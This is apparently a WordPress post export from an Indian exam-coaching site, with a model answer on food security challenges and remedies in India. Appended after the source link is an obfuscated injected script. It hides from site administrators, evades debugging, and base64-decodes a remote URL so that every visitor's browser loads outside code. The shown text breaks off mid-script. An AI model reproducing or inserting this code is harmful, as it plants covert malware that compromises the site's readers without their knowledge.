{"id":1289,"date":"2024-08-12T06:53:58","date_gmt":"2024-08-12T06:53:58","guid":{"rendered":"https:\/\/iasquest.com\/?p=1289"},"modified":"2026-02-11T19:14:00","modified_gmt":"2026-02-11T19:14:00","slug":"paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-24","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-24\/","title":{"rendered":"PAPER III General Studies- II: Governance, Constitution, Polity, Social Justice and International relations"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Issues Relating to Poverty &amp; Hunger<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>In News:<\/em><\/strong><strong> <\/strong>Counting the \u2018poor\u2019 having nutritional deficiency<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>There are still significant issues with food security in India despite numerous efforts to overcome them. Examine critically<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">India has experienced remarkable economic growth\u00a0in recent years and remains one of the\u00a0<strong>fastest growing economies\u00a0<\/strong>in the world. Although the Government of India has been actively addressing food security at households for a long time through the Public distribution system\u00a0and the National Food Security Act (NFSA), 2013<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Food security in India has been a persistent challenge, despite various initiatives by the government and other organizations. The issue of food security revolves around three critical components: availability, accessibility, and affordability of food.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Challenges Related to Food Security&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Deteriorating Soil Health<\/strong> nearly 95% of global food production depends on soil.<\/li>\n\n\n\n<li>Soil degradation due to excessive or<strong> inappropriate use of agrochemicals<\/strong>, <strong>deforestation <\/strong>and natural calamities is a significant challenge to sustainable food production.&nbsp;<\/li>\n\n\n\n<li>In the past 10 years, India has faced more than 10 major <strong>invasive pest and weed attacks<\/strong>, for example Parthenium hysterophorus Linnaeus (Carrot grass), Cyperus rotundus (Nut grass),<\/li>\n\n\n\n<li>India lacks a strict management framework for food security. Public Distribution System faces challenges like leakages and diversion of food-grains, inclusion\/exclusion errors, fake and bogus ration cards, and weak grievance redressal and social audit mechanism.<\/li>\n\n\n\n<li>Farmers have diverted land from producing coarse grains to the production of rice and wheat due to a minimum support price.<\/li>\n\n\n\n<li>The monsoon accounts for around 70% of India&#8217;s annual rainfall and irrigates 60% of its net sown area. Changing precipitation patterns and growing frequency and intensity of extreme weather events such as heat waves, floods are already reducing agricultural productivity in India, posing a serious threat to food security.<\/li>\n\n\n\n<li>At a time when the Covid-19 Pandemic had already impacted food supply around the world in 2020, Russia-Ukraine War in 2022 has disrupted the global supply chain and resulted in food scarcity and food inflation.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Way forward<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Improving food security in India is a multifaceted challenge that requires a combination of policies, programs, and initiatives aimed at increasing food availability, access, and utilization.<\/li>\n\n\n\n<li><strong>Enhance Agricultural Productivity<\/strong>: Invest in agricultural research and development to develop high-yield and climate-resilient crop varietiesImprove access to modern farming technologies, such as improved seeds, fertilizers, and irrigation systems. Promote farmer cooperatives and self-help groups to enhance collective bargaining power.<\/li>\n\n\n\n<li><strong>Water Management<\/strong>: Invest in water conservation and management techniques to address water scarcity issues.<\/li>\n\n\n\n<li><strong>Infrastructure Development:<\/strong> Improve rural infrastructure, including roads, storage facilities, and markets, to reduce post-harvest losses and connect farmers to consumers.<\/li>\n\n\n\n<li><strong>Food Distribution and Supply Chain Enhancement:<\/strong> Strengthen the Public Distribution System (PDS) and other food distribution networks to ensure efficient and equitable access to food.<\/li>\n\n\n\n<li><strong>Nutrition Education: Launch<\/strong> public awareness campaigns to educate people about balanced nutrition and healthy eating habits.<\/li>\n\n\n\n<li>Implement school-based nutrition programs to improve the health and nutrition of children.<\/li>\n\n\n\n<li><strong>Climate Resilience<\/strong>: Develop climate-resilient farming practices and provide support to farmers to adapt to changing climate patterns.<\/li>\n\n\n\n<li><strong>Research and Innovation: <\/strong>Invest in research and innovation to find solutions to food security challenges, including crop diseases, pests, and climate-related issues.<\/li>\n\n\n\n<li><strong>Policy and Governance:<\/strong> Strengthen governance and transparency in food-related policies and programs.<\/li>\n\n\n\n<li>Addressing food insecurity in India requires a multi-pronged approach that includes improving agricultural practices, ensuring equitable distribution, reducing food wastage, enhancing access to social safety nets, and addressing poverty and malnutrition.<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\"><strong>Source:&nbsp;<\/strong><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/counting-the-poor-having-nutritional-deficiency\/article68492304.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/opinion\/op-ed\/counting-the-poor-having-nutritional-deficiency\/article68492304.ece<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof 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